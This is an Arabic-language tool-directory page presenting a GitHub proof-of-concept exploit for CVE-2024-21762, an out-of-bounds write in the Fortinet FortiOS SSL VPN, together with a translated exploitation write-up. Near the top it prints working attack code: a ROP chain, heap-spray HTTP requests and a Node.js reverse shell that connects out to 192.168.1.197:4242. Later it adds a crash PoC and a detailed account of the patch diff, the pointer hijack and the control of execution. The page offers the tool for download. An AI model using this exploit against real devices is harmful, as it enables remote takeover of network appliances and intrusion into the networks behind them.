Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-21762 — ثغرة كتابة خارج الحدود في Fortinet FortiOS CVE-2024-21762 | Kitploit
أدوات/GitHubGitHub/h4x0r-dz/cve-2024-21762
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأداة الوصول عن بعدتطوير الحمولاتاستغلال الملفات الثنائية
GitHubh4x0r-dz/cve-2024-21762

CVE-2024-21762

ثغرة كتابة خارج الحدود في Fortinet FortiOS CVE-2024-21762

عرض المستودع
150253منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-21762

ثغرة كتابة خارج النطاق في Fortinet FortiOS ثغرة CVE-2024-21762

استغلال PoC بواسطة assetnote

root@kitploit:~

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

الثغرة

أصدرت FortiGate تحديثًا للنسخة في فبراير، لإصلاح عدة ثغرات متوسطة وعالية الخطورة. إحدى الثغرات شديدة الخطورة هي ثغرة كتابة خارج النطاق غير مصرح بها في SSL VPN. ويذكر تحذير الثغرة أن هذه الثغرة قد تُستغل في البرية (in the wild). ستقدم هذه المقالة تحليل المؤلف لعملية استغلال هذه الثغرة لتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE).

صورة

البيئة المستخدمة لتحليل الثغرة في هذه المقالة هي FGT_VM64-v7.4.2.F-build2571

الفرق (diff)

بمقارنة ملفات النسخ المُصلحة (7.4.2 و 7.4.3)، أظهر التحليل أن كود الإصلاح يقع في الدالة sub_18F4980 (الإصدار 7.4.2).

صورة

بتحليل هذه الدالة، ليس من الصعب ملاحظة أن منطق هذه الدالة هو قراءة بيانات جسم طلب HTTP POST. وفي الوقت نفسه، يتم تحديد Transfer-Encoding وفقًا لترويسة الطلب سواء أكانت القراءة بتنسيق chunk أو بناءً على Content-Length. وفقًا لنتائج مقارنة مخطط تدفق التحكم (Control Flow Graph)، هناك تعديلان في الكود:

عند تحليل تنسيق chunk، يتم استدعاء ap_getline لقراءة طول الـ chunk والتحقق مما إذا كانت قيمة إرجاع ap_getline أكبر من 16. إذا كانت أكبر من 16، يعتبر طول chunk غير قانوني.

صورة

عند قراءة تذييل الـ chunk، يكون مصدر إزاحة كتابة \r\n هو إسناد line_off، قيمة line_off قبل الإصلاح كانت من *(_QWORD *)(a1 + 744)، وبعد الإصلاح تكون من قيمة إرجاع ap_getline.

بمتابعة التتبع للأمام، يمكن العثور على أن قيمة *(_QWORD *)(a1 + 744) هي طول حقل طول الـ chunk في أول تحقق.

صورة

بمتابعة التتبع للأمام، يمكن العثور على أن قيمة *(_QWORD *)(a1 + 744) هي طول حقل طول الـ chunk في أول تحقق.

صورة

في نفس الوقت، يمكن من خلال قراءة الكود معرفة أنه عندما تكون قيمة حقل طول الـ chunk تساوي 0 بعد فك الترميز السداسي العشري (hex decoding)، فإنه سيدخل في منطق قراءة تذييل الـ chunk.

تفعيل الكتابة خارج النطاق

بعد تحليل التصحيح، يمكننا استخلاص الاستنتاجات التالية:

  1. عند تحليل chunk، إذا كانت القيمة المفكوكة سداسيًا لحقل طول الـ chunk تساوي 0، يبدأ قراءة تذييل الـ chunk.
  2. بعد استدعاء ap_getline لقراءة تذييل الـ chunk، سيتم كتابة \r\n في المخزن المؤقت وفقًا لطول حقل طول الـ chunk.

لذلك، إذا تم تمرير العديد من الأصفار في حقل طول الـ chunk، وكان طول الأصفار أكبر من نصف طول المخزن المؤقت المتبقي، سيتم تفعيل كتابة \r\n خارج النطاق. من خلال التصحيح، يمكننا معرفة أن المخزن المؤقت الهدف يقع على المكدس (الدالة sub_1A111E0)، ويتم تخزين عنوان الإرجاع عند الإزاحة 0x2028. إذا تمت كتابة \r\n عند الإزاحة 0x202e، فسيحدث انهيار بسبب عنوان غير قانوني عندما تعود الدالة لتنفيذ تعليمات استعادة rip.

PoC للانهيار:

root@kitploit:~
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)

مشهد الانهيار:

صورة

من خلال تحليل سبب الثغرة، يمكن ملاحظة أن الثغرة يمكن استخدامها لكتابة وحدتي بايت \r\n خارج النطاق على المكدس، والمدى خارج النطاق قريب من 0x2000. نظرًا لأن المحتوى المكتوب محدود جدًا، لا يمكن تحقيق RCE عن طريق اختطاف rip مباشرة. لذلك، تحتاج إلى التركيز على مؤشرات الذاكرة المحفوظة على المكدس.

محاولة فاشلة

ما يسهل التفكير فيه هو اختطاف rbp والكتابة فوق البايت المنخفض من rbp بحيث يشير rbp إلى منطقة ذاكرة قابلة للتحكم. عندما تعود الدالة ذات المستوى الأعلى لتنفيذ التعليمات، يمكن اختطاف rip بالكامل. ومع ذلك، أثناء التحقق، تبيّن أنه حتى إذا تمت الكتابة فوق rbp الموجود على المكدس، لا يمكن اختطاف rsp وrip، ولن ينهار البرنامج حتى. بمتابعة التتبع إلى الأعلى، نجد الدالة الأم sub_1A26040. هذه الدالة لا تستدعي leave وret لاستعادة rsp عند العودة من sub_1A111E0، بل تستخدم مباشرة add rsp, 0x18، لذلك لا يمكن تحقيق التأثير المتوقع.

صورة

إيجاد نقطة اختراق أخرى

كما رأينا في القسم السابق، تحفظ الدالة قيم السجلات الخمسة rbx وr12-r15 على المكدس، وتستعيد هذه السجلات عندما تعود الدالة. بمتابعة التتبع للخلف للعثور على الدالة الأم sub_1A27650، يمكنك رؤية أن ما يُحفظ في r13 هو بالضبط معامل a1 للدالة sub_1A26040.

a1 هو مؤشر بنية (structure). من خلال التصحيح، يمكننا أيضًا رؤية أن عنوانًا من الكومة (heap) محفوظ على المكدس في r13.

صورة

إذا تمت الكتابة فوق الذاكرة الموجودة في المنطقة الحمراء في الشكل عن طريق الكتابة خارج النطاق، فسيتم استعادة سجل r13 عند عودة الدالة، ويمكن التلاعب بقيمة المؤشر. إذا كان يمكن تخطيط ذاكرة الكومة بحيث يشير a1 إلى منطقة ذاكرة مرتّبة مسبقًا، فيمكن اختطاف بنية a1 بأكملها. في نفس الوقت، من خلال تحليل منطق الكود لكل من sub_1A26040 وsub_1A27650، هناك عدد كبير من استدعاءات الدوال الديناميكية لأعضاء بنية a1 متعددة المستويات، لذلك ستكون هناك فرص أكثر لاختطاف a1.

اختطاف بنية (Structure)

وفقًا للافتراض، بعد الكتابة فوق البايت المنخفض من مؤشر a1 بواسطة \r\n، يمكن أن يشير إلى الذاكرة المرتبة مسبقًا. كما يوضح الشكل:

صورة

لتحقيق هذا التأثير، يجب استيفاء الشروط التالية:

عنوان بنية a1 أعلى من عنوان منطقة رش الكومة (heap spray)، والفجوة بينهما صغيرة جدًا. يجب أن يشير 0x7fxxxxxxx0a0d إلى البنية المزيفة.

يمكن أن يجد التصحيح أن حجم بنية a1 هو 0x730. وفقًا لقواعد محاذاة jemalloc، سيتم تخصيص كتلة كومة بحجم 0x800. كتلة الكومة 0x800 ليست شائعة الاستخدام أثناء معالجة الطلبات، لذلك من السهل استنفاد كتل الكومة 0x800 في tcache، وفي نفس الوقت التقدم بطلب للحصول على كتل 0x800 جديدة، بحيث يمكنها الدخول إلى tcache بعد التحرير. يختار حقن الكومة أيضًا كتل كومة ذات أحجام غير شائعة بحيث تكون كتل الكومة المطلوبة حديثًا متصلة وقريبة من كتلة 0x800 المطلوبة حديثًا؛ يختار حقن الكومة استخدام كتل كومة أكبر لضمان محاذاة عناوينها مع 0x800، بحيث يسهل ضمان أن البتات الـ 12 المنخفضة من كل عنوان بنية مزيفة هي 0xa0d؛ نطاق رش الكومة لا يقل عن 0x10000 لضمان أنه يشير إلى منطقة رش الكومة. التأثير بعد الاختطاف هو كما يلي: 0x7fxxxxxxx0a0d

صورة

إيجاد مؤشرات متعددة المستويات قابلة للاستغلال

من خلال العمليات المذكورة أعلاه، يمكن تحقيق اختطاف بنية a1. بفرز كود الدالتين sub_1A27650 وsub_1A26040، هناك العديد من الاستدعاءات الديناميكية للمؤشر من المستوى الثاني والمؤشر من المستوى الثالث لأعضاء بنية a1، على سبيل المثال:

صورة

عندما يتحقق الشرط *(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0 (حيث 0<N<5)، سيتم الاستدعاء ديناميكيًا *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1). لذلك، يجب تزييف العضو a1 + 0x298 كمؤشر متعدد المستويات، والذي يشير في النهاية إلى الدالة التي نريد استدعاءها. نظرًا لأن الملف الهدف لا يحتوي على حماية PIE مفعّلة، يمكنك العثور على مؤشرات متعددة المستويات مؤهلة في الملف الهدف. من خلال تحليل الملف، يمكننا أن نجد أن الأول يشير إلى عنوان جدول GOT للدالة المقابلة.

صورة

صورة

لذلك، باعتبار الدالة system مثالاً، يمكنك العثور على مؤشرات متعددة المستويات مؤهلة.

صورة

أثناء رش الكومة، تغيير القيمة عند الإزاحة 0x298 من البنية إلى 0x4368d0 يمكن استخدامه لاستدعاء دالة system. التأثير كما يلي:

صورة

كما هو موضح في الشكل، فإن معامل الاستدعاء الديناميكي هو بالضبط a1، والذاكرة التي يشير إليها قابلة للتحكم. عند هذه النقطة، يمكنك استخدام دالة system بشكل طبيعي لتنفيذ أي أمر. ومع ذلك، في FortiGate، لا يمتلك الملف /bin/sh القدرة على تنفيذ الأوامر، لذا فإن استخدام دالة system لتنفيذ الأوامر لن ينجح.

اختطاف RIP

نظرًا لأن دالة system لا يمكنها تنفيذ الأوامر، يمكننا فقط إيجاد طرق أخرى لإكمال RCE. الشرط الموجود حاليًا هو أنه يمكن استدعاء أي دالة في جدول GOT، والذاكرة التي يشير إليها المعامل الأول للدالة قابلة للتحكم. لذلك، إذا كانت هناك دالة في جدول GOT تستدعي عضوًا معينًا من المعامل، فهناك فرصة لتحقيق اختطاف RIP. من السهل التفكير في الدوال التي كانت تُستخدم غالبًا في استغلالات FortiGate السابقة: SSL_do_handshake

صورة

تحتاج فقط إلى إنشاء بنية SSL بحيث يتحقق الشرط ويتم الاستدعاء النهائي s->handshake_func(s) لتحقيق اختطاف rip، واختطاف rip إلى 0xdeadbeef كما هو موضح في الشكل.

صورة

البرنامج الرئيسي لـ FortiGate هو ملف ثنائي All-in-One بحجم يتجاوز 70MB. هناك عدد كبير من الأدوات (gadgets) التي يمكن استخدامها. ليس من الصعب تنفيذ RCE باستخدام ROP، لذا لن أخوض في التفاصيل.

عرض توضيحي :

على الرغم من أن وضع الويب (web mode) معطّل افتراضيًا في إصدار SSL VPN 7.4.2 وأن الوصول عبر المتصفح يُرجع 403، إلا أنه لا يزال من الممكن استغلال هذه الثغرة في التكوين الافتراضي.

ezgif-6-c1d88c0511

هذه الثغرة مشابهة لثغرة تجاوز سعة الكومة الناتجة عن XOR في العام الماضي (CVE-2023-27997). كلاهما ثغرات تجاوز تبدو عديمة الفائدة. عملية الاستغلال أكثر صعوبة وتشبه أسئلة CTF. ومع ذلك، مقارنة بمشاكل CTF التقليدية التي تهاجم مدير الكومة (heap manager)، تتطلب الثغرات الحقيقية استخدام المزيد من البنى السياقية ومنطق الكود لاستغلالها. مستوى المؤلف محدود. إذا كانت هناك أي أخطاء، فيرجى تصحيحي.

المقال الأصلي بالصينية: https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn=2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1&scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd

تنزيل الأداة